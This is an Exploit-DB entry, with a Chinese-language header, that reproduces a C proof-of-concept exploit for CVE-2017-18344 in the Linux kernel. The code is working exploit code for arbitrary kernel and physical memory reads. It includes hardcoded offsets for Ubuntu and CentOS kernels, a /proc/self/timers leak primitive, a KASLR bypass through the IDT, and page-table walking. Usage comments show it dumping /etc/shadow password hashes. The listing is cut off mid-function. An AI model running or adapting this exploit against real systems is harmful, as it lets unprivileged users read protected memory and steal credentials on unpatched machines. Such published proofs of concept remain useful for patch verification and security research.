Linux Kernel 4.14.7 (Ubuntu 16.04 / CentOS 7) – (KASLR & SMEP Bypass) Arbitrary File Read

  • 作者: Andrey Konovalov
    日期: 2018-08-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45175/
  • // A proof-of-concept exploit for CVE-2017-18344.
    // Includes KASLR and SMEP bypasses. No SMAP bypass.
    // No support for 1 GB pages or 5 level page tables.
    // Tested on Ubuntu xenial 4.4.0-116-generic and 4.13.0-38-generic
    // and on CentOS 7 3.10.0-862.9.1.el7.x86_64.
    //
    // gcc pwn.c -o pwn
    //
    // $ ./pwn search 'root:!:'
    // [.] setting up proc reader
    // [~] done
    // [.] checking /proc/cpuinfo
    // [~] looks good
    // [.] setting up timer
    // [~] done
    // [.] finding leak pointer address
    // [+] done: 000000022ca45b60
    // [.] mapping leak pointer page
    // [~] done
    // [.] divide_error: ffffffffad6017b0
    // [.] kernel text:ffffffffacc00000
    // [.] page_offset_base: ffffffffade48a90
    // [.] physmap:ffff8d40c0000000
    // [.] task->mm->pgd:ffffffffade0a000
    // [.] searching [0000000000000000, 00000000f524d000) for 'root:!:':
    // [.] now at 0000000000000000
    // [.] now at 0000000002000000
    // [.] now at 0000000004000000
    // ...
    // [.] now at 000000008c000000
    // [.] now at 000000008e000000
    // [.] now at 0000000090000000
    // [+] found at 0000000090ff3000
    // [+] done
    //
    // $ ./pwn phys 0000000090ff3000 1000 shadow
    // [.] setting up proc reader
    // [~] done
    // [.] checking /proc/cpuinfo
    // [~] looks good
    // [.] setting up timer
    // [~] done
    // [.] finding leak pointer address
    // [+] done: 000000022ca45b60
    // [.] mapping leak pointer page
    // [~] done
    // [.] divide_error: ffffffffad6017b0
    // [.] kernel text:ffffffffacc00000
    // [.] page_offset_base: ffffffffade48a90
    // [.] physmap:ffff8d40c0000000
    // [.] task->mm->pgd:ffffffffade0a000
    // [.] dumping physical memory [0000000090ff3000, 0000000090ff4000):
    // [+] done
    //
    // $ cat shadow 
    // root:!:17612:0:99999:7:::
    // daemon:*:17590:0:99999:7:::
    // bin:*:17590:0:99999:7:::
    // ...
    // saned:*:17590:0:99999:7:::
    // usbmux:*:17590:0:99999:7:::
    // user:$1$7lXXXXSv$rvXXXXXXXXXXXXXXXXXhr/:17612:0:99999:7:::
    //
    // Andrey Konovalov <andreyknvl@gmail.com>
    
    #define _GNU_SOURCE
    
    #include <assert.h>
    #include <ctype.h>
    #include <fcntl.h>
    #include <signal.h>
    #include <stdarg.h>
    #include <stdbool.h>
    #include <stdint.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <time.h>
    #include <unistd.h>
    
    #include <sys/ioctl.h>
    #include <sys/mman.h>
    #include <sys/stat.h>
    #include <sys/sysinfo.h>
    #include <sys/syscall.h>
    #include <sys/types.h>
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    #define DEBUG 0
    
    // CentOS 7 3.10.0-862.9.1.el7.x86_64
    #define KERNEL_START			0xffffffff81000000ul
    #define O_DIVIDE_ERROR			(0xffffffff81723a40ul - KERNEL_START)
    #define O_INIT_TASK			(0xffffffff81c16480ul - KERNEL_START)
    #define O_INIT_MM			(0xffffffff81c914a0ul - KERNEL_START)
    #define O_PAGE_OFFSET_BASE		(0xffffffff81c41440ul - KERNEL_START)
    #define O_TASK_STRUCT_TASKS		1072
    #define O_TASK_STRUCT_MM		1128
    #define O_TASK_STRUCT_PID		1188
    #define O_MM_STRUCT_MMAP		0
    #define O_MM_STRUCT_PGD			88
    #define O_VM_AREA_STRUCT_VM_START	0
    #define O_VM_AREA_STRUCT_VM_END		8
    #define O_VM_AREA_STRUCT_VM_NEXT	16
    #define O_VM_AREA_STRUCT_VM_FLAGS	80
    
    #if 0
    // Ubuntu xenial 4.4.0-116-generic
    #define KERNEL_START			0xffffffff81000000ul
    #define O_DIVIDE_ERROR			(0xffffffff81851240ul - KERNEL_START)
    #define O_INIT_TASK			(0xffffffff81e13500ul - KERNEL_START)
    #define O_INIT_MM			(0xffffffff81e73c80ul - KERNEL_START)
    #define O_PAGE_OFFSET_BASE		0
    #define O_TASK_STRUCT_TASKS		848
    #define O_TASK_STRUCT_MM		928
    #define O_TASK_STRUCT_PID		1096
    #define O_MM_STRUCT_MMAP		0
    #define O_MM_STRUCT_PGD			64
    #define O_VM_AREA_STRUCT_VM_START	0
    #define O_VM_AREA_STRUCT_VM_END		8
    #define O_VM_AREA_STRUCT_VM_NEXT	16
    #define O_VM_AREA_STRUCT_VM_FLAGS	80
    #endif
    
    #if 0
    // Ubuntu xenial 4.13.0-38-generic
    #define KERNEL_START			0xffffffff81000000ul
    #define O_DIVIDE_ERROR			(0xffffffff81a017b0ul - KERNEL_START)
    #define O_INIT_TASK			(0xffffffff82212480ul - KERNEL_START)
    #define O_INIT_MM			(0xffffffff82302760ul - KERNEL_START)
    #define O_PAGE_OFFSET_BASE		(0xffffffff82248a90ul - KERNEL_START)
    #define O_TASK_STRUCT_TASKS		2048
    #define O_TASK_STRUCT_MM		2128
    #define O_TASK_STRUCT_PID		2304
    #define O_MM_STRUCT_MMAP		0
    #define O_MM_STRUCT_PGD			80
    #define O_VM_AREA_STRUCT_VM_START	0
    #define O_VM_AREA_STRUCT_VM_END		8
    #define O_VM_AREA_STRUCT_VM_NEXT	16
    #define O_VM_AREA_STRUCT_VM_FLAGS	80
    #endif
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    #ifndef SYS_memfd_create
    #define SYS_memfd_create	319
    #endif
    
    #ifndef O_PATH
    #define O_PATH			010000000
    #endif
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    #define PAGE_SHIFT		12
    #define PAGE_SIZE		(1ul << PAGE_SHIFT)
    #define PAGE_MASK		(~(PAGE_SIZE - 1))
    
    #define HUGE_PAGE_SHIFT		21
    #define HUGE_PAGE_SIZE		(1ul << HUGE_PAGE_SHIFT)
    #define HUGE_PAGE_MASK		(~(HUGE_PAGE_SIZE - 1))
    
    #define TASK_SIZE		(1ul << 47)
    #define	PAGE_OFFSET_BASE	0xffff880000000000ul
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    #define LOG_INFO	1
    #define LOG_DEBUG	2
    
    #define log(level, format, args...)					\
    	do {								\
    		if (level == LOG_INFO)					\
    			printf(format, ## args);			\
    		else							\
    			fprintf(stderr, format, ## args);		\
    	} while(0)
    
    #define info(format, args...) log(LOG_INFO, format, ## args)
    
    #if (DEBUG >= 1)
    #define debug1(format, args...) log(LOG_DEBUG, format, ## args)
    #else
    #define debug1(format, args...)
    #endif
    
    #if (DEBUG >= 2)
    #define debug2(format, args...) log(LOG_DEBUG, format, ## args)
    #else
    #define debug2(format, args...)
    #endif
    
    #define min(x, y) ((x) < (y) ? (x) : (y))
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    static void print_chunk(int level, unsigned long src_addr, char *buffer,
    				int len, int chunk_size) {
    	int i;
    
    	assert(len <= chunk_size);
    
    	log(level, "%016lx: ", src_addr);
    	for (i = 0; i < len; i++)
    		log(level, "%02hx ", (unsigned char)buffer[i]);
    	for (i = len; i < chunk_size; i++)
    		log(level, " ");
    
    	log(level, "");
    
    	for (i = 0; i < len; i++) {
    		if (isalnum(buffer[i]))
    			log(level, "%c", buffer[i]);
    		else
    			log(level, ".");
    	}
    
    	log(level, "\n");
    }
    
    static void print_bytes(int level, unsigned long src_addr, char *buffer,
    				int len) {
    	int chunk_size = 16;
    	assert(chunk_size % 2 == 0);
    
    	int chunk;
    	for (chunk = 0; chunk < len / chunk_size; chunk++)
    		print_chunk(level, src_addr + chunk * chunk_size,
    			&buffer[chunk * chunk_size], chunk_size, chunk_size);
    
    	int rem = len % chunk_size;
    	if (rem != 0)
    		print_chunk(level, src_addr + len - rem,
    			&buffer[len - rem], rem, chunk_size);
    }
    
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    #define MIN_KERNEL_BASE 0xffffffff81000000ul
    #define MAX_KERNEL_BASE 0xffffffffff000000ul
    #define MAX_KERNEL_IMAGE 0x8000000ul // 128 MB
    
    #define MMAP_ADDR_SPAN (MAX_KERNEL_BASE - MIN_KERNEL_BASE + MAX_KERNEL_IMAGE)
    #define MMAP_ADDR_START 0x200000000ul
    #define MMAP_ADDR_END (MMAP_ADDR_START + MMAP_ADDR_SPAN)
    
    #define OPTIMAL_PTR_OFFSET ((MMAP_ADDR_START - MIN_KERNEL_BASE) / 8)
    // == 0x4fe00000
    
    #define MAX_MAPPINGS 1024
    #define MEMFD_SIZE (MMAP_ADDR_SPAN / MAX_MAPPINGS)
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    static struct proc_reader g_proc_reader;
    static unsigned long g_leak_ptr_addr = 0;
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    #define PROC_INITIAL_SIZE 1024
    #define PROC_CHUNK_SIZE 1024
    
    struct proc_reader {
    	char *buffer;
    	int buffer_size;
    	int read_size;
    };
    
    static void proc_init(struct proc_reader* pr) {
    	debug2("proc_init: %016lx\n", pr);
    
    	pr->buffer = malloc(PROC_INITIAL_SIZE);
    	if (pr->buffer == NULL) {
    		perror("[-] proc_init: malloc()");
    		exit(EXIT_FAILURE);
    	}
    	pr->buffer_size = PROC_INITIAL_SIZE;
    	pr->read_size = 0;
    
    	debug2("proc_init = void\n");
    }
    
    static void proc_ensure_size(struct proc_reader* pr, int size) {
    	if (pr->buffer_size >= size)
    		return;
    	while (pr->buffer_size < size)
    		pr->buffer_size <<= 1;
    	pr->buffer = realloc(pr->buffer, pr->buffer_size);
    	if (pr->buffer == NULL) {
    		perror("[-] proc_ensure_size: realloc()");
    		exit(EXIT_FAILURE);
    	}
    }
    
    static int proc_read(struct proc_reader* pr, const char *file) {
    	debug2("proc_read: file: %s, pr->buffer_size: %d\n",
    			file, pr->buffer_size);
    
    	int fd = open(file, O_RDONLY);
    	if (fd == -1) {
    		perror("[-] proc_read: open()");
    		exit(EXIT_FAILURE);
    	}
    
    	pr->read_size = 0;
    	while (true) {
    		proc_ensure_size(pr, pr->read_size + PROC_CHUNK_SIZE);
    		int bytes_read = read(fd, &pr->buffer[pr->read_size],
    					PROC_CHUNK_SIZE);
    		if (bytes_read == -1) {
    			perror("[-] read(proc)");
    			exit(EXIT_FAILURE);
    		}
    		pr->read_size += bytes_read;
    		if (bytes_read < PROC_CHUNK_SIZE)
    			break;
    	}
    
    	close(fd);
    
    	debug2("proc_read = %d\n", pr->read_size);
    	return pr->read_size;
    }
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    typedef union k_sigval {
    	int sival_int;
    	void *sival_ptr;
    } k_sigval_t;
    
    #define __ARCH_SIGEV_PREAMBLE_SIZE	(sizeof(int) * 2 + sizeof(k_sigval_t))
    #define SIGEV_MAX_SIZE	64
    #define SIGEV_PAD_SIZE	((SIGEV_MAX_SIZE - __ARCH_SIGEV_PREAMBLE_SIZE) \
    				/ sizeof(int))
    
    typedef struct k_sigevent {
    	k_sigval_t sigev_value;
    	int sigev_signo;
    	int sigev_notify;
    	union {
    		int _pad[SIGEV_PAD_SIZE];
    		int _tid;
    
    		struct {
    			void (*_function)(sigval_t);
    			void *_attribute;
    		} _sigev_thread;
    	} _sigev_un;
    } k_sigevent_t;
    
    static void leak_setup() {
    	k_sigevent_t se;
    	memset(&se, 0, sizeof(se));
    	se.sigev_signo = SIGRTMIN;
    	se.sigev_notify = OPTIMAL_PTR_OFFSET;
    	timer_t timerid = 0;
    
    	int rv = syscall(SYS_timer_create, CLOCK_REALTIME,
    				(void *)&se, &timerid);
    	if (rv != 0) {
    		perror("[-] timer_create()");
    		exit(EXIT_FAILURE);
    	}
    }
    
    static void leak_parse(char *in, int in_len, char **start, char **end) {
    	const char *needle = "notify: ";
    	*start = memmem(in, in_len, needle, strlen(needle));
    	assert(*start != NULL);
    	*start += strlen(needle);
    
    	assert(in_len > 0);
    	assert(in[in_len - 1] == '\n');
    	*end = &in[in_len - 2];
    	while (*end > in && **end != '\n')
    		(*end)--;
    	assert(*end > in);
    	while (*end > in && **end != '/')
    		(*end)--;
    	assert(*end > in);
    	assert((*end)[1] = 'p' && (*end)[2] == 'i' && (*end)[3] == 'd');
    
    	assert(*end >= *start);
    }
    
    static void leak_once(char **start, char **end) {
    	int read_size = proc_read(&g_proc_reader, "/proc/self/timers");
    	leak_parse(g_proc_reader.buffer, read_size, start, end);
    }
    
    static int leak_once_and_copy(char *out, int out_len) {
    	assert(out_len > 0);
    
    	char *start, *end;
    	leak_once(&start, &end);
    
    	int size = min(end - start, out_len);
    	memcpy(out, start, size);
    
    	if (size == out_len)
    		return size;
    
    	out[size] = 0;
    	return size + 1;
    }
    
    static void leak_range(unsigned long addr, size_t length, char *out) {
    	size_t total_leaked = 0;
    	while (total_leaked < length) {
    		unsigned long addr_to_leak = addr + total_leaked;
    		*(unsigned long *)g_leak_ptr_addr = addr_to_leak;
    		debug2("leak_range: offset %ld, addr: %lx\n",
    			total_leaked, addr_to_leak);
    		int leaked = leak_once_and_copy(out + total_leaked,
    			length - total_leaked);
    		total_leaked += leaked;
    	}
    }
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    static void mmap_fixed(unsigned long addr, size_t size) {
    	void *rv = mmap((void *)addr, size, PROT_READ | PROT_WRITE,
    			MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    	if (rv != (void *)addr) {
    		perror("[-] mmap()");
    		exit(EXIT_FAILURE);
    	}
    }
    
    static void mmap_fd_over(int fd, unsigned long fd_size, unsigned long start,
    			unsigned long end) {
    	int page_size = PAGE_SIZE;
    	assert(fd_size % page_size == 0);
    	assert(start % page_size == 0);
    	assert(end % page_size == 0);
    	assert((end - start) % fd_size == 0);
    
    	debug1("mmap_fd_over: [%lx, %lx)\n", start, end);
    
    	unsigned long addr;
    	for (addr = start; addr < end; addr += fd_size) {
    		void *rv = mmap((void *)addr, fd_size, PROT_READ,
    				MAP_FIXED | MAP_PRIVATE, fd, 0);
    		if (rv != (void *)addr) {
    			perror("[-] mmap()");
    			exit(EXIT_FAILURE);
    		}
    	}
    
    	debug1("mmap_fd_over = void\n");
    }
    
    static void remap_fd_over(int fd, unsigned long fd_size, unsigned long start,
    			unsigned long end) {
    	int rv = munmap((void *)start, end - start);
    	if (rv != 0) {
    		perror("[-] munmap()");
    		exit(EXIT_FAILURE);
    	}
    	mmap_fd_over(fd, fd_size, start, end);
    }
    
    #define MEMFD_CHUNK_SIZE 0x1000
    
    static int create_filled_memfd(const char *name, unsigned long size,
    				unsigned long value) {
    	int i;
    	char buffer[MEMFD_CHUNK_SIZE];
    
    	assert(size % MEMFD_CHUNK_SIZE == 0);
    
    	int fd = syscall(SYS_memfd_create, name, 0);
    	if (fd < 0) {
    		perror("[-] memfd_create()");
    		exit(EXIT_FAILURE);
    	}
    
    	for (i = 0; i < sizeof(buffer) / sizeof(value); i++)
    		*(unsigned long *)&buffer[i * sizeof(value)] = value;
    
    	for (i = 0; i < size / sizeof(buffer); i++) {
    		int bytes_written = write(fd, &buffer[0], sizeof(buffer));
    		if (bytes_written != sizeof(buffer)) {
    			perror("[-] write(memfd)");
    			exit(EXIT_FAILURE);
    		}
    	}
    
    	return fd;
    }
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    static const char *evil = "evil";
    static const char *good = "good";
    
    static bool bisect_probe() {
    	char *start, *end;
    	leak_once(&start, &end);
    	return *start == 'g';
    }
    
    static unsigned long bisect_via_memfd(unsigned long fd_size,
    				unsigned long start, unsigned long end) {
    	assert((end - start) % fd_size == 0);
    
    	int fd_evil = create_filled_memfd("evil", fd_size, (unsigned long)evil);
    	int fd_good = create_filled_memfd("good", fd_size, (unsigned long)good);
    
    	unsigned long left = 0;
    	unsigned long right = (end - start) / fd_size;
    
    	while (right - left > 1) {
    		unsigned long middle = left + (right - left) / 2;
    		remap_fd_over(fd_evil, fd_size, start + left * fd_size,
    				start + middle * fd_size);
    		remap_fd_over(fd_good, fd_size, start + middle * fd_size,
    				start + right * fd_size);
    		bool probe = bisect_probe();
    		if (probe)
    			left = middle;
    		else
    			right = middle;
    	}
    
    	int rv = munmap((void *)start, end - start);
    	if (rv != 0) {
    		perror("[-] munmap()");
    		exit(EXIT_FAILURE);
    	}
    
    	close(fd_evil);
    	close(fd_good);
    
    	return start + left * fd_size;
    }
    
    static unsigned long bisect_via_assign(unsigned long start, unsigned long end) {
    	int word_size = sizeof(unsigned long);
    
    	assert((end - start) % word_size == 0);
    	assert((end - start) % PAGE_SIZE == 0);
    
    	mmap_fixed(start, end - start);
    
    	unsigned long left = 0;
    	unsigned long right = (end - start) / word_size;
    
    	while (right - left > 1) {
    		unsigned long middle = left + (right - left) / 2;
    		unsigned long a;
    		for (a = left; a < middle; a++)
    			*(unsigned long *)(start + a * word_size) =
    				(unsigned long)evil;
    		for (a = middle; a < right; a++)
    			*(unsigned long *)(start + a * word_size) =
    				(unsigned long)good;
    		bool probe = bisect_probe();
    		if (probe)
    			left = middle;
    		else
    			right = middle;
    	}
    
    	int rv = munmap((void *)start, end - start);
    	if (rv != 0) {
    		perror("[-] munmap()");
    		exit(EXIT_FAILURE);
    	}
    
    	return start + left * word_size;
    }
    
    static unsigned long bisect_leak_ptr_addr() {
    	unsigned long addr = bisect_via_memfd(
    			MEMFD_SIZE, MMAP_ADDR_START, MMAP_ADDR_END);
    	debug1("%lx %lx\n", addr, addr + MEMFD_SIZE);
    	addr = bisect_via_memfd(PAGE_SIZE, addr, addr + MEMFD_SIZE);
    	debug1("%lx %lx\n", addr, addr + PAGE_SIZE);
    	addr = bisect_via_assign(addr, addr + PAGE_SIZE);
    	debug1("%lx\n", addr);
    	return addr;
    }
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    #define CPUINFO_SMEP	1
    #define CPUINFO_SMAP	2
    #define CPUINFO_KAISER	4
    #define CPUINFO_PTI	8
    
    static int cpuinfo_scan() {
    	int length = proc_read(&g_proc_reader, "/proc/cpuinfo");
    	char *buffer = &g_proc_reader.buffer[0];
    	int rv = 0;
    	char* found = memmem(buffer, length, "smep", 4);
    	if (found != NULL)
    		rv |= CPUINFO_SMEP;
    	found = memmem(buffer, length, "smap", 4);
    	if (found != NULL)
    		rv |= CPUINFO_SMAP;
    	found = memmem(buffer, length, "kaiser", 4);
    	if (found != NULL)
    		rv |= CPUINFO_KAISER;
    	found = memmem(buffer, length, " pti", 4);
    	if (found != NULL)
    		rv |= CPUINFO_PTI;
    	return rv;
    }
    
    static void cpuinfo_check() {
    	int rv = cpuinfo_scan();
    	if (rv & CPUINFO_SMAP) {
    		info("[-] SMAP detected, no bypass available, aborting\n");
    		exit(EXIT_FAILURE);
    	}
    }
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    static void arbitrary_read_init() {
    	info("[.] setting up proc reader\n");
    	proc_init(&g_proc_reader);
    	info("[~] done\n");
    
    	info("[.] checking /proc/cpuinfo\n");
    	cpuinfo_check();
    	info("[~] looks good\n");
    
    	info("[.] setting up timer\n");
    	leak_setup();
    	info("[~] done\n");
    
    	info("[.] finding leak pointer address\n");
    	g_leak_ptr_addr = bisect_leak_ptr_addr();
    	info("[+] done: %016lx\n", g_leak_ptr_addr);
    
    	info("[.] mapping leak pointer page\n");
    	mmap_fixed(g_leak_ptr_addr & ~(PAGE_SIZE - 1), PAGE_SIZE);
    	info("[~] done\n");
    }
    
    static void read_range(unsigned long addr, size_t length, char *buffer) {
    	leak_range(addr, length, buffer);
    }
    
    static uint64_t read_8(unsigned long addr) {
    	uint64_t result;
    	read_range(addr, sizeof(result), (char *)&result);
    	return result;
    }
    
    static uint32_t read_4(unsigned long addr) {
    	uint32_t result;
    	read_range(addr, sizeof(result), (char *)&result);
    	return result;
    }
    
    static uint64_t read_field_8(unsigned long addr, int offset) {
    	return read_8(addr + offset);
    }
    
    static uint64_t read_field_4(unsigned long addr, int offset) {
    	return read_4(addr + offset);
    }
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    struct idt_register {
    	uint16_t length;
    	uint64_t base;
    } __attribute__((packed));
    
    struct idt_gate {
    	uint16_t offset_1; // bits 0..15
    	uint32_t shit_1;
    	uint16_t offset_2; // bits 16..31
    	uint32_t offset_3; // bits 32..63
    	uint32_t shit_2;
    } __attribute__((packed));
    
    static uint64_t idt_gate_addr(struct idt_gate *gate) {
    	uint64_t addr = gate->offset_1 + ((uint64_t)gate->offset_2 << 16) +
    		((uint64_t)gate->offset_3 << 32);
    	return addr;
    }
    
    static void get_idt(struct idt_register *idtr) {
    	asm ( "sidt %0" : : "m"(*idtr) );
    	debug1("get_idt_base: base: %016lx, length: %d\n",
    			idtr->base, idtr->length);
    }
    
    static void print_idt(int entries) {
    	char buffer[4096];
    	struct idt_register idtr;
    	int i;
    
    	get_idt(&idtr);
    	assert(idtr.length <= sizeof(buffer));
    	read_range(idtr.base, idtr.length, &buffer[0]);
    
    	info("base: %016lx, length: %d\n", idtr.base,
    			(int)idtr.length);
    
    	entries = min(entries, idtr.length / sizeof(struct idt_gate));
    	for (i = 0; i < entries; i++) {
    		struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i;
    		uint64_t addr = idt_gate_addr(gate);
    		info("gate #%03d: %016lx\n", i, addr);
    	}
    }
    
    static uint64_t read_idt_gate(int i) {
    	char buffer[4096];
    	struct idt_register idtr;
    
    	get_idt(&idtr);
    	assert(idtr.length <= sizeof(buffer));
    	assert(i <= idtr.length / sizeof(struct idt_gate));
    	read_range(idtr.base, idtr.length, &buffer[0]);
    
    	struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i;
    	uint64_t addr = idt_gate_addr(gate);
    	return addr;
    }
    
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
    
    #define PTRS_PER_PGD		512
    #define PTRS_PER_PUD		512
    #define PTRS_PER_PMD		512
    #define PTRS_PER_PTE		512
    
    #define PGD_SHIFT		39
    #define PUD_SHIFT		30
    #define PMD_SHIFT		21
    
    #define pgd_index(addr)		(((addr) >> PGD_SHIFT) & (PTRS_PER_PGD - 1))
    #define pud_index(addr)		(((addr) >> PUD_SHIFT) & (PTRS_PER_PUD - 1))
    #define pmd_index(addr)		(((addr) >> PMD_SHIFT) & (PTRS_PER_PMD - 1))
    #define pte_index(addr)		(((addr) >> PAGE_SHIFT) & (PTRS_PER_PTE - 1))
    
    #define _PAGE_BIT_PRESENT	0
    #define _PAGE_BIT_ACCESSED	5
    #define _PAGE_BIT_DIRTY		6
    #define _PAGE_BIT_PSE		7
    #define _PAGE_BIT_GLOBAL	8
    #define _PAGE_BIT_PROTNONE	_PAGE_BIT_GLOBAL
    
    #define _PAGE_PRESENT		(1ul << _PAGE_BIT_PRESENT)
    #define _PAGE_ACCESSED		(1ul << _PAGE_BIT_ACCESSED)
    #define _PAGE_DIRTY		(1ul << _PAGE_BIT_DIRTY)
    #define _PAGE_PSE		(1ul << _PAGE_BIT_PSE)
    #define _PAGE_PROTNONE		(1ul << _PAGE_BIT_PROTNONE)
    #define _PAGE_KNL_ERRATUM_MASK	(_PAGE_DIRTY | _PAGE_ACCESSED)
    
    #define pgd_none(value)		((value) == 0)
    #define pud_none(value)		(((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0)
    #define pmd_none(value)		(((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0)
    #define pte_none(value)		(((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0)
    
    #define __PHYSICAL_MASK_SHIFT	52
    #define __PHYSICAL_MASK		((1ul << __PHYSICAL_MASK_SHIFT) - 1)
    #define PHYSICAL_PAGE_MASK	(PAGE_MASK & __PHYSICAL_MASK)
    #define PTE_PFN_MASK		(PHYSICAL_PAGE_MASK)
    #define PTE_FLAGS_MASK		(~PTE_PFN_MASK)
    
    #define pgd_flags(value)	(value & PTE_FLAGS_MASK)
    #define pud_flags(value)	(value & PTE_FLAGS_MASK)
    #define pmd_flags(value)	(value & PTE_FLAGS_MASK)
    #define pte_flags(value)	(value & PTE_FLAGS_MASK)
    
    #define pgd_present(value)	(pgd_flags(value) & _PAGE_PRESENT)
    #define pud_present(value)	(pud_flags(value) & _PAGE_PRESENT)
    #define pmd_present(value)	(pmd_flags(value) & (_PAGE_PRESENT | \
    					_PAGE_PROTNONE | _PAGE_PSE))
    #define pte_present(value)	(pte_flags(value) & (_PAGE_PRESENT | \
    					_PAGE_PROTNONE))
    
    struct pte_entry {
    	unsigned long		addr;
    	unsigned long		entries[PTRS_PER_PTE];
    };
    
    struct pmd_entry {
    	unsigned long		addr;
    	struct {
    		bool				huge;
    		union {
    			struct pte_entry	*pte;
    			unsigned long		phys;
    		};
    	}			entries[PTRS_PER_PMD];
    };
    
    struct pud_entry {
    	unsigned long		addr;
    	struct pmd_entry	*entries[PTRS_PER_PUD];
    };
    
    struct pgd_entry {
    	unsigned long		addr;
    	struct pud_entry	*entries[PTRS_PER_PGD];
    };
    
    struct ptsc {
    	unsigned long		physmap;
    	struct pgd_entry	entry;
    };
    
    static struct pte_entry *ptsc_alloc_pte_entry(unsigned long addr) {
    	struct pte_entry *entry = malloc(sizeof(*entry));
    	if (!entry) {
    		perror("[-] malloc()");
    		exit(EXIT_FAILURE);
    	}
    	entry->addr = addr;
    	memset(&entry->entries[0], 0, sizeof(entry->entries));
    	return entry;
    }
    
    static struct pmd_entry *ptsc_alloc_pmd_entry(unsigned long addr) {
    	struct pmd_entry *entry = malloc(sizeof(*entry));
    	if (!entry) {
    		perror("[-] malloc()");
    		exit(EXIT_FAILURE);
    	}
    	entry->addr = addr;
    	memset(&entry->entries[0], 0, sizeof(entry->entries));
    	return entry;
    }
    
    static struct pud_entry *ptsc_alloc_pud_entry(unsigned long addr) {
    	struct pud_entry *entry = malloc(sizeof(*entry));
    	if (!entry) {
    		perror("[-] malloc()");
    		exit(EXIT_FAILURE);
    	}
    	entry->addr = addr;
    	memset(&entry->entries[0], 0, sizeof(entry->entries));
    	return entry;
    }
    
    static void ptsc_init(struct ptsc* ptsc, unsigned long physmap,
    				unsigned long pgd) {
    	ptsc->physmap = physmap;
    	ptsc->entry.addr = pgd;
    	memset(&ptsc->entry.entries[0], 0, sizeof(ptsc->entry.entries));
    }
    
    static unsigned long ptsc_page_virt_to_phys(struct ptsc* ptsc,
    						unsigned long addr) {
    	struct pgd_entry *pgd_e;
    	struct pud_entry *pud_e;
    	struct pmd_entry *pmd_e;
    	struct pte_entry *pte_e;
    	unsigned long phys_a;
    	int index;
    
    	debug1("looking up phys addr for %016lx:\n", addr);
    
    	pgd_e = &ptsc->entry;
    
    	index = pgd_index(addr);
    	debug1(" pgd: %016lx, index: %d\n", pgd_e->addr, index);
    	if (!pgd_e->entries[index]) {
    		unsigned long pgd_v = read_8(
    			pgd_e->addr + index * sizeof(unsigned long));
    		debug1(" -> %016lx\n", pgd_v);
    		if (pgd_none(pgd_v)) {
    			debug1(" not found, pgd is none\n");
    			return 0;
    		}
    		if (!pgd_present(pgd_v)) {
    			debug1(" not found, pgd is not present\n");
    			return 0;
    		}
    		unsigned long pud_a =
    			ptsc->physmap + (pgd_v & PHYSICAL_PAGE_MASK);
    		pud_e = ptsc_alloc_pud_entry(pud_a);
    		pgd_e->entries[index] = pud_e;
    	}
    	pud_e = pgd_e->entries[index];
    
    	index = pud_index(addr);
    	debug1(" pud: %016lx, index: %d\n", pud_e->addr, index);
    	if (!pud_e->entries[index]) {
    		unsigned long pud_v = read_8(
    			pud_e->addr + index * sizeof(unsigned long));
    		debug1(" -> %016lx\n", pud_v);
    		if (pud_none(pud_v)) {
    			debug1(" not found, pud is none\n");
    			return 0;
    		}
    		if (!pud_present(pud_v)) {
    			debug1(" not found, pud is not present\n");
    			return 0;
    		}
    		unsigned long pmd_a =
    			ptsc->physmap + (pud_v & PHYSICAL_PAGE_MASK);
    		pmd_e = ptsc_alloc_pmd_entry(pmd_a);
    		pud_e->entries[index] = pmd_e;
    	}
    	pmd_e = pud_e->entries[index];
    
    	index = pmd_index(addr);
    	debug1(" pmd: %016lx, index: %d\n", pmd_e->addr, index);
    	if (!pmd_e->entries[index].pte) {
    		unsigned long pmd_v = read_8(
    			pmd_e->addr + index * sizeof(unsigned long));
    		debug1(" -> %016lx\n", pmd_v);
    		if (pmd_none(pmd_v)) {
    			debug1(" not found, pmd is none\n");
    			return 0;
    		}
    		if (!pmd_present(pmd_v)) {
    			debug1(" not found, pmd is not present\n");
    			return 0;
    		}
    		if (pmd_flags(pmd_v) & _PAGE_PSE) {
